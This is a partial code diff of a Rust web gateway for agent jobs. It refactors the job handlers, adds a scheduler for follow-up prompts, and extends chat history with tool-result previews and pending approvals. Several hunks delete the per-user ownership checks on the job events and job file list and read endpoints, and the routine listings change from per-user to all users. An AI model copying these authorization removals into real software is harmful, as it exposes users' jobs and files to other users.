let mut queue = prompt_queue.lock().await;
|
||||
queue.entry(job_id).or_default().push_back(prompt);
|
||||
}
|
||||
return Ok(Json(serde_json::json!({
|
||||
"status": "queued",
|
||||
"job_id": job_id.to_string(),
|
||||
})));
|
||||
} else {
|
||||
return Err((
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"Follow-up prompts are not supported for worker-mode sandbox jobs".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(Json(serde_json::json!({
|
||||
"status": "queued",
|
||||
"job_id": job_id.to_string(),
|
||||
})))
|
||||
// Try agent job path: send via scheduler.
|
||||
let slot = state.scheduler.as_ref().ok_or((
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"Agent job prompts require the scheduler to be configured".to_string(),
|
||||
))?;
|
||||
let scheduler_guard = slot.read().await;
|
||||
if let Some(ref scheduler) = *scheduler_guard
|
||||
&& scheduler.is_running(job_id).await
|
||||
{
|
||||
scheduler
|
||||
.send_message(job_id, content)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
return Ok(Json(serde_json::json!({
|
||||
"status": "sent",
|
||||
"job_id": job_id.to_string(),
|
||||
})));
|
||||
}
|
||||
|
||||
Err((
|
||||
StatusCode::NOT_FOUND,
|
||||
"Job not found or not running".to_string(),
|
||||
))
|
||||
}
|
||||
|
||||
/// Load persisted job events for a job (for history replay on page open).
|
||||
@@ -358,15 +547,6 @@ pub async fn jobs_events_handler(
|
||||
.parse()
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if !store
|
||||
.sandbox_job_belongs_to_user(job_id, &state.user_id)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let events = store
|
||||
.list_job_events(job_id, None)
|
||||
.await
|
||||
@@ -416,11 +596,6 @@ pub async fn job_files_list_handler(
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let base = std::path::PathBuf::from(&job.project_dir);
|
||||
let rel_path = query.path.as_deref().unwrap_or("");
|
||||
let target = base.join(rel_path);
|
||||
@@ -484,11 +659,6 @@ pub async fn job_files_read_handler(
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let path = query.path.as_deref().ok_or((
|
||||
StatusCode::BAD_REQUEST,
|
||||
"path parameter required".to_string(),
|
||||
|
||||
@@ -159,10 +159,10 @@ pub async fn memory_search_handler(
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
let hits: Vec<SearchHit> = results
|
||||
.iter()
|
||||
.into_iter()
|
||||
.map(|r| SearchHit {
|
||||
path: r.document_id.to_string(),
|
||||
content: r.content.clone(),
|
||||
path: r.document_path,
|
||||
content: r.content,
|
||||
score: r.score as f64,
|
||||
})
|
||||
.collect();
|
||||
|
||||
@@ -23,7 +23,7 @@ pub async fn routines_list_handler(
|
||||
))?;
|
||||
|
||||
let routines = store
|
||||
.list_routines(&state.user_id)
|
||||
.list_all_routines()
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
@@ -41,7 +41,7 @@ pub async fn routines_summary_handler(
|
||||
))?;
|
||||
|
||||
let routines = store
|
||||
.list_routines(&state.user_id)
|
||||
.list_all_routines()
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
@@ -147,6 +147,10 @@ pub async fn routines_trigger_handler(
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?;
|
||||
|
||||
if routine.user_id != state.user_id {
|
||||
return Err((StatusCode::FORBIDDEN, "Access denied".to_string()));
|
||||
}
|
||||
|
||||
// Send the routine prompt through the message pipeline as a manual trigger.
|
||||
let prompt = match &routine.action {
|
||||
crate::agent::routine::RoutineAction::Lightweight { prompt, .. } => prompt.clone(),
|
||||
@@ -156,7 +160,12 @@ pub async fn routines_trigger_handler(
|
||||
};
|
||||
|
||||
let content = format!("[routine:{}] {}", routine.name, prompt);
|
||||
let msg = IncomingMessage::new("gateway", &state.user_id, content);
|
||||
let thread_id = format!(
|
||||
"routine-{}-{}",
|
||||
routine_id,
|
||||
chrono::Utc::now().timestamp_millis()
|
||||
);
|
||||
let msg = IncomingMessage::new("gateway", &state.user_id, content).with_thread(thread_id);
|
||||
|
||||
let tx_guard = state.msg_tx.read().await;
|
||||
let tx = tx_guard.as_ref().ok_or((
|
||||
|
||||
@@ -148,7 +148,14 @@ pub async fn skills_install_handler(
|
||||
.await
|
||||
.map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))?
|
||||
} else if let Some(ref catalog) = state.skill_catalog {
|
||||
let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), &req.name);
|
||||
// Prefer slug (e.g. "owner/skill-name") over display name for the
|
||||
// download URL, since the registry endpoint expects a slug.
|
||||
let download_key = req
|
||||
.slug
|
||||
.as_deref()
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or(&req.name);
|
||||
let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), download_key);
|
||||
crate::tools::builtin::skill_tools::fetch_skill_content(&url)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::BAD_GATEWAY, e.to_string()))?
|
||||
|
||||
@@ -6,6 +6,7 @@ use axum::{
|
||||
response::{Html, IntoResponse},
|
||||
};
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::channels::web::types::*;
|
||||
|
||||
// --- Static file handlers ---
|
||||
@@ -71,11 +72,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
|
||||
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
|
||||
}
|
||||
|
||||
let base = dirs::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("projects")
|
||||
.join(project_id);
|
||||
let base = ironclaw_base_dir().join("projects").join(project_id);
|
||||
|
||||
let file_path = base.join(path);
|
||||
|
||||
|
||||
+11
-3
@@ -21,6 +21,7 @@ pub mod openai_compat;
|
||||
pub mod server;
|
||||
pub mod sse;
|
||||
pub mod types;
|
||||
pub(crate) mod util;
|
||||
pub mod ws;
|
||||
|
||||
use std::net::SocketAddr;
|
||||
@@ -83,6 +84,7 @@ impl GatewayChannel {
|
||||
store: None,
|
||||
job_manager: None,
|
||||
prompt_queue: None,
|
||||
scheduler: None,
|
||||
user_id: config.user_id.clone(),
|
||||
shutdown_tx: tokio::sync::RwLock::new(None),
|
||||
ws_tracker: Some(Arc::new(ws::WsConnectionTracker::new())),
|
||||
@@ -93,7 +95,6 @@ impl GatewayChannel {
|
||||
registry_entries: Vec::new(),
|
||||
cost_guard: None,
|
||||
startup_time: std::time::Instant::now(),
|
||||
restart_requested: std::sync::atomic::AtomicBool::new(false),
|
||||
});
|
||||
|
||||
Self {
|
||||
@@ -107,7 +108,8 @@ impl GatewayChannel {
|
||||
fn rebuild_state(&mut self, mutate: impl FnOnce(&mut GatewayState)) {
|
||||
let mut new_state = GatewayState {
|
||||
msg_tx: tokio::sync::RwLock::new(None),
|
||||
sse: SseManager::new(),
|
||||
// Preserve the existing broadcast channel so sender handles remain valid.
|
||||
sse: SseManager::from_sender(self.state.sse.sender()),
|
||||
workspace: self.state.workspace.clone(),
|
||||
session_manager: self.state.session_manager.clone(),
|
||||
log_broadcaster: self.state.log_broadcaster.clone(),
|
||||
@@ -117,6 +119,7 @@ impl GatewayChannel {
|
||||
store: self.state.store.clone(),
|
||||
job_manager: self.state.job_manager.clone(),
|
||||
prompt_queue: self.state.prompt_queue.clone(),
|
||||
scheduler: self.state.scheduler.clone(),
|
||||
user_id: self.state.user_id.clone(),
|
||||
shutdown_tx: tokio::sync::RwLock::new(None),
|
||||
ws_tracker: self.state.ws_tracker.clone(),
|
||||
@@ -127,7 +130,6 @@ impl GatewayChannel {
|
||||
registry_entries: self.state.registry_entries.clone(),
|
||||
cost_guard: self.state.cost_guard.clone(),
|
||||
startup_time: self.state.startup_time,
|
||||
restart_requested: std::sync::atomic::AtomicBool::new(false),
|
||||
};
|
||||
mutate(&mut new_state);
|
||||
self.state = Arc::new(new_state);
|
||||
@@ -197,6 +199,12 @@ impl GatewayChannel {
|
||||
self
|
||||
}
|
||||
|
||||
/// Inject the scheduler for sending follow-up messages to agent jobs.
|
||||
pub fn with_scheduler(mut self, slot: crate::tools::builtin::SchedulerSlot) -> Self {
|
||||
self.rebuild_state(|s| s.scheduler = Some(slot));
|
||||
self
|
||||
}
|
||||
|
||||
/// Inject the skill registry for skill management API.
|
||||
pub fn with_skill_registry(mut self, sr: Arc<std::sync::RwLock<SkillRegistry>>) -> Self {
|
||||
self.rebuild_state(|s| s.skill_registry = Some(sr));
|
||||
|
||||
+88
-595
@@ -26,14 +26,21 @@ use tower_http::set_header::SetResponseHeaderLayer;
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::agent::SessionManager;
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::channels::IncomingMessage;
|
||||
use crate::channels::web::auth::{AuthState, auth_middleware};
|
||||
use crate::channels::web::handlers::jobs::{
|
||||
job_files_list_handler, job_files_read_handler, jobs_cancel_handler, jobs_detail_handler,
|
||||
jobs_events_handler, jobs_list_handler, jobs_prompt_handler, jobs_restart_handler,
|
||||
jobs_summary_handler,
|
||||
};
|
||||
use crate::channels::web::handlers::skills::{
|
||||
skills_install_handler, skills_list_handler, skills_remove_handler, skills_search_handler,
|
||||
};
|
||||
use crate::channels::web::log_layer::LogBroadcaster;
|
||||
use crate::channels::web::sse::SseManager;
|
||||
use crate::channels::web::types::*;
|
||||
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
|
||||
use crate::db::Database;
|
||||
use crate::extensions::ExtensionManager;
|
||||
use crate::orchestrator::job_manager::ContainerJobManager;
|
||||
@@ -149,6 +156,8 @@ pub struct GatewayState {
|
||||
pub skill_registry: Option<Arc<std::sync::RwLock<crate::skills::SkillRegistry>>>,
|
||||
/// Skill catalog for searching the ClawHub registry.
|
||||
pub skill_catalog: Option<Arc<crate::skills::catalog::SkillCatalog>>,
|
||||
/// Scheduler for sending follow-up messages to running agent jobs.
|
||||
pub scheduler: Option<crate::tools::builtin::SchedulerSlot>,
|
||||
/// Rate limiter for chat endpoints (30 messages per 60 seconds).
|
||||
pub chat_rate_limiter: RateLimiter,
|
||||
/// Registry catalog entries for the available extensions API.
|
||||
@@ -158,8 +167,6 @@ pub struct GatewayState {
|
||||
pub cost_guard: Option<Arc<crate::agent::cost_guard::CostGuard>>,
|
||||
/// Server startup time for uptime calculation.
|
||||
pub startup_time: std::time::Instant,
|
||||
/// Flag set when a restart has been requested via the API.
|
||||
pub restart_requested: std::sync::atomic::AtomicBool,
|
||||
}
|
||||
|
||||
/// Start the gateway HTTP server.
|
||||
@@ -240,8 +247,6 @@ pub async fn start_server(
|
||||
"/api/extensions/{name}/setup",
|
||||
get(extensions_setup_handler).post(extensions_setup_submit_handler),
|
||||
)
|
||||
// Gateway management
|
||||
.route("/api/gateway/restart", post(gateway_restart_handler))
|
||||
// Pairing
|
||||
.route("/api/pairing/{channel}", get(pairing_list_handler))
|
||||
.route(
|
||||
@@ -734,12 +739,13 @@ async fn chat_history_handler(
|
||||
turns,
|
||||
has_more,
|
||||
oldest_timestamp,
|
||||
pending_approval: None,
|
||||
}));
|
||||
}
|
||||
|
||||
// Try in-memory first (freshest data for active threads)
|
||||
if let Some(thread) = sess.threads.get(&thread_id)
|
||||
&& !thread.turns.is_empty()
|
||||
&& (!thread.turns.is_empty() || thread.pending_approval.is_some())
|
||||
{
|
||||
let turns: Vec<TurnInfo> = thread
|
||||
.turns
|
||||
@@ -758,16 +764,35 @@ async fn chat_history_handler(
|
||||
name: tc.name.clone(),
|
||||
has_result: tc.result.is_some(),
|
||||
has_error: tc.error.is_some(),
|
||||
result_preview: tc.result.as_ref().map(|r| {
|
||||
let s = match r {
|
||||
serde_json::Value::String(s) => s.clone(),
|
||||
other => other.to_string(),
|
||||
};
|
||||
truncate_preview(&s, 500)
|
||||
}),
|
||||
error: tc.error.clone(),
|
||||
})
|
||||
.collect(),
|
||||
})
|
||||
.collect();
|
||||
|
||||
let pending_approval = thread
|
||||
.pending_approval
|
||||
.as_ref()
|
||||
.map(|pa| PendingApprovalInfo {
|
||||
request_id: pa.request_id.to_string(),
|
||||
tool_name: pa.tool_name.clone(),
|
||||
description: pa.description.clone(),
|
||||
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
|
||||
});
|
||||
|
||||
return Ok(Json(HistoryResponse {
|
||||
thread_id,
|
||||
turns,
|
||||
has_more: false,
|
||||
oldest_timestamp: None,
|
||||
pending_approval,
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -786,6 +811,7 @@ async fn chat_history_handler(
|
||||
turns,
|
||||
has_more,
|
||||
oldest_timestamp,
|
||||
pending_approval: None,
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -796,49 +822,10 @@ async fn chat_history_handler(
|
||||
turns: Vec::new(),
|
||||
has_more: false,
|
||||
oldest_timestamp: None,
|
||||
pending_approval: None,
|
||||
}))
|
||||
}
|
||||
|
||||
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
|
||||
fn build_turns_from_db_messages(messages: &[crate::history::ConversationMessage]) -> Vec<TurnInfo> {
|
||||
let mut turns = Vec::new();
|
||||
let mut turn_number = 0;
|
||||
let mut iter = messages.iter().peekable();
|
||||
|
||||
while let Some(msg) = iter.next() {
|
||||
if msg.role == "user" {
|
||||
let mut turn = TurnInfo {
|
||||
turn_number,
|
||||
user_input: msg.content.clone(),
|
||||
response: None,
|
||||
state: "Completed".to_string(),
|
||||
started_at: msg.created_at.to_rfc3339(),
|
||||
completed_at: None,
|
||||
tool_calls: Vec::new(),
|
||||
};
|
||||
|
||||
// Check if next message is an assistant response
|
||||
if let Some(next) = iter.peek()
|
||||
&& next.role == "assistant"
|
||||
{
|
||||
let assistant_msg = iter.next().expect("peeked");
|
||||
turn.response = Some(assistant_msg.content.clone());
|
||||
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
|
||||
}
|
||||
|
||||
// Incomplete turn (user message without response)
|
||||
if turn.response.is_none() {
|
||||
turn.state = "Failed".to_string();
|
||||
}
|
||||
|
||||
turns.push(turn);
|
||||
turn_number += 1;
|
||||
}
|
||||
}
|
||||
|
||||
turns
|
||||
}
|
||||
|
||||
async fn chat_threads_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
|
||||
@@ -869,7 +856,7 @@ async fn chat_threads_handler(
|
||||
let info = ThreadInfo {
|
||||
id: s.id,
|
||||
state: "Idle".to_string(),
|
||||
turn_count: (s.message_count / 2).max(0) as usize,
|
||||
turn_count: s.message_count.max(0) as usize,
|
||||
created_at: s.started_at.to_rfc3339(),
|
||||
updated_at: s.last_activity.to_rfc3339(),
|
||||
title: s.title.clone(),
|
||||
@@ -1132,514 +1119,7 @@ async fn memory_search_handler(
|
||||
Ok(Json(MemorySearchResponse { results: hits }))
|
||||
}
|
||||
|
||||
// --- Jobs handlers ---
|
||||
|
||||
async fn jobs_list_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
) -> Result<Json<JobListResponse>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
// Fetch sandbox jobs scoped to the authenticated user.
|
||||
let sandbox_jobs = store
|
||||
.list_sandbox_jobs_for_user(&state.user_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
// Scope jobs to the authenticated user.
|
||||
let mut jobs: Vec<JobInfo> = sandbox_jobs
|
||||
.iter()
|
||||
.filter(|j| j.user_id == state.user_id)
|
||||
.map(|j| {
|
||||
let ui_state = match j.status.as_str() {
|
||||
"creating" => "pending",
|
||||
"running" => "in_progress",
|
||||
s => s,
|
||||
};
|
||||
JobInfo {
|
||||
id: j.id,
|
||||
title: j.task.clone(),
|
||||
state: ui_state.to_string(),
|
||||
user_id: j.user_id.clone(),
|
||||
created_at: j.created_at.to_rfc3339(),
|
||||
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
// Most recent first.
|
||||
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
|
||||
|
||||
Ok(Json(JobListResponse { jobs }))
|
||||
}
|
||||
|
||||
async fn jobs_summary_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
) -> Result<Json<JobSummaryResponse>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
let s = store
|
||||
.sandbox_job_summary_for_user(&state.user_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
Ok(Json(JobSummaryResponse {
|
||||
total: s.total,
|
||||
pending: s.creating,
|
||||
in_progress: s.running,
|
||||
completed: s.completed,
|
||||
failed: s.failed + s.interrupted,
|
||||
stuck: 0,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn jobs_detail_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
|
||||
let job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Try sandbox job from DB first, scoped to the authenticated user.
|
||||
if let Some(ref store) = state.store
|
||||
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
||||
{
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
let browse_id = std::path::Path::new(&job.project_dir)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| job.id.to_string());
|
||||
|
||||
let ui_state = match job.status.as_str() {
|
||||
"creating" => "pending",
|
||||
"running" => "in_progress",
|
||||
s => s,
|
||||
};
|
||||
|
||||
let elapsed_secs = job.started_at.map(|start| {
|
||||
let end = job.completed_at.unwrap_or_else(chrono::Utc::now);
|
||||
(end - start).num_seconds().max(0) as u64
|
||||
});
|
||||
|
||||
// Synthesize transitions from timestamps.
|
||||
let mut transitions = Vec::new();
|
||||
if let Some(started) = job.started_at {
|
||||
transitions.push(TransitionInfo {
|
||||
from: "creating".to_string(),
|
||||
to: "running".to_string(),
|
||||
timestamp: started.to_rfc3339(),
|
||||
reason: None,
|
||||
});
|
||||
}
|
||||
if let Some(completed) = job.completed_at {
|
||||
transitions.push(TransitionInfo {
|
||||
from: "running".to_string(),
|
||||
to: job.status.clone(),
|
||||
timestamp: completed.to_rfc3339(),
|
||||
reason: job.failure_reason.clone(),
|
||||
});
|
||||
}
|
||||
|
||||
return Ok(Json(JobDetailResponse {
|
||||
id: job.id,
|
||||
title: job.task.clone(),
|
||||
description: String::new(),
|
||||
state: ui_state.to_string(),
|
||||
user_id: job.user_id.clone(),
|
||||
created_at: job.created_at.to_rfc3339(),
|
||||
started_at: job.started_at.map(|dt| dt.to_rfc3339()),
|
||||
completed_at: job.completed_at.map(|dt| dt.to_rfc3339()),
|
||||
elapsed_secs,
|
||||
project_dir: Some(job.project_dir.clone()),
|
||||
browse_url: Some(format!("/projects/{}/", browse_id)),
|
||||
job_mode: {
|
||||
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
|
||||
mode.filter(|m| m != "worker")
|
||||
},
|
||||
transitions,
|
||||
}));
|
||||
}
|
||||
|
||||
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
||||
}
|
||||
|
||||
async fn jobs_cancel_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
||||
let job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Try sandbox job cancellation, scoped to the authenticated user.
|
||||
if let Some(ref store) = state.store
|
||||
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
||||
{
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
if job.status == "running" || job.status == "creating" {
|
||||
// Stop the container if we have a job manager.
|
||||
if let Some(ref jm) = state.job_manager
|
||||
&& let Err(e) = jm.stop_job(job_id).await
|
||||
{
|
||||
tracing::warn!(job_id = %job_id, error = %e, "Failed to stop container during cancellation");
|
||||
}
|
||||
store
|
||||
.update_sandbox_job_status(
|
||||
job_id,
|
||||
"failed",
|
||||
Some(false),
|
||||
Some("Cancelled by user"),
|
||||
None,
|
||||
Some(chrono::Utc::now()),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
}
|
||||
return Ok(Json(serde_json::json!({
|
||||
"status": "cancelled",
|
||||
"job_id": job_id,
|
||||
})));
|
||||
}
|
||||
|
||||
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
||||
}
|
||||
|
||||
async fn jobs_restart_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
let jm = state.job_manager.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Sandbox not enabled".to_string(),
|
||||
))?;
|
||||
|
||||
let old_job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
let old_job = store
|
||||
.get_sandbox_job(old_job_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||
|
||||
// Scope to the authenticated user.
|
||||
if old_job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
if old_job.status != "interrupted" && old_job.status != "failed" {
|
||||
return Err((
|
||||
StatusCode::CONFLICT,
|
||||
format!("Cannot restart job in state '{}'", old_job.status),
|
||||
));
|
||||
}
|
||||
|
||||
// Create a new job with the same task and project_dir.
|
||||
let new_job_id = Uuid::new_v4();
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
let record = crate::history::SandboxJobRecord {
|
||||
id: new_job_id,
|
||||
task: old_job.task.clone(),
|
||||
status: "creating".to_string(),
|
||||
user_id: old_job.user_id.clone(),
|
||||
project_dir: old_job.project_dir.clone(),
|
||||
success: None,
|
||||
failure_reason: None,
|
||||
created_at: now,
|
||||
started_at: None,
|
||||
completed_at: None,
|
||||
credential_grants_json: old_job.credential_grants_json.clone(),
|
||||
};
|
||||
store
|
||||
.save_sandbox_job(&record)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
// Look up the original job's mode so the restart uses the same mode.
|
||||
let mode = match store.get_sandbox_job_mode(old_job_id).await {
|
||||
Ok(Some(m)) if m == "claude_code" => crate::orchestrator::job_manager::JobMode::ClaudeCode,
|
||||
_ => crate::orchestrator::job_manager::JobMode::Worker,
|
||||
};
|
||||
|
||||
// Restore credential grants from the original job so the restarted container
|
||||
// has access to the same secrets.
|
||||
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
|
||||
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
|
||||
tracing::warn!(
|
||||
job_id = %old_job.id,
|
||||
"Failed to deserialize credential grants from stored job: {}. \
|
||||
Restarted job will have no credentials.",
|
||||
e
|
||||
);
|
||||
vec![]
|
||||
});
|
||||
|
||||
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
|
||||
let _token = jm
|
||||
.create_job(
|
||||
new_job_id,
|
||||
&old_job.task,
|
||||
Some(project_dir),
|
||||
mode,
|
||||
credential_grants,
|
||||
)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("Failed to create container: {}", e),
|
||||
)
|
||||
})?;
|
||||
|
||||
store
|
||||
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
Ok(Json(serde_json::json!({
|
||||
"status": "restarted",
|
||||
"old_job_id": old_job_id,
|
||||
"new_job_id": new_job_id,
|
||||
})))
|
||||
}
|
||||
|
||||
// --- Claude Code prompt and events handlers ---
|
||||
|
||||
/// Submit a follow-up prompt to a running Claude Code sandbox job.
|
||||
async fn jobs_prompt_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
Json(body): Json<serde_json::Value>,
|
||||
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
||||
let prompt_queue = state.prompt_queue.as_ref().ok_or((
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"Claude Code not configured".to_string(),
|
||||
))?;
|
||||
|
||||
let job_id: uuid::Uuid = id
|
||||
.parse()
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if let Some(ref store) = state.store
|
||||
&& !store
|
||||
.sandbox_job_belongs_to_user(job_id, &state.user_id)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let content = body
|
||||
.get("content")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or((
|
||||
StatusCode::BAD_REQUEST,
|
||||
"Missing 'content' field".to_string(),
|
||||
))?
|
||||
.to_string();
|
||||
|
||||
let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false);
|
||||
|
||||
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
|
||||
|
||||
{
|
||||
let mut queue = prompt_queue.lock().await;
|
||||
queue.entry(job_id).or_default().push_back(prompt);
|
||||
}
|
||||
|
||||
Ok(Json(serde_json::json!({
|
||||
"status": "queued",
|
||||
"job_id": job_id.to_string(),
|
||||
})))
|
||||
}
|
||||
|
||||
/// Load persisted job events for a job (for history replay on page open).
|
||||
async fn jobs_events_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
let job_id: uuid::Uuid = id
|
||||
.parse()
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if !store
|
||||
.sandbox_job_belongs_to_user(job_id, &state.user_id)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let events = store
|
||||
.list_job_events(job_id, None)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
let events_json: Vec<serde_json::Value> = events
|
||||
.into_iter()
|
||||
.map(|e| {
|
||||
serde_json::json!({
|
||||
"id": e.id,
|
||||
"event_type": e.event_type,
|
||||
"data": e.data,
|
||||
"created_at": e.created_at.to_rfc3339(),
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
Ok(Json(serde_json::json!({
|
||||
"job_id": job_id.to_string(),
|
||||
"events": events_json,
|
||||
})))
|
||||
}
|
||||
|
||||
// --- Project file handlers for sandbox jobs ---
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct FilePathQuery {
|
||||
path: Option<String>,
|
||||
}
|
||||
|
||||
async fn job_files_list_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
Query(query): Query<FilePathQuery>,
|
||||
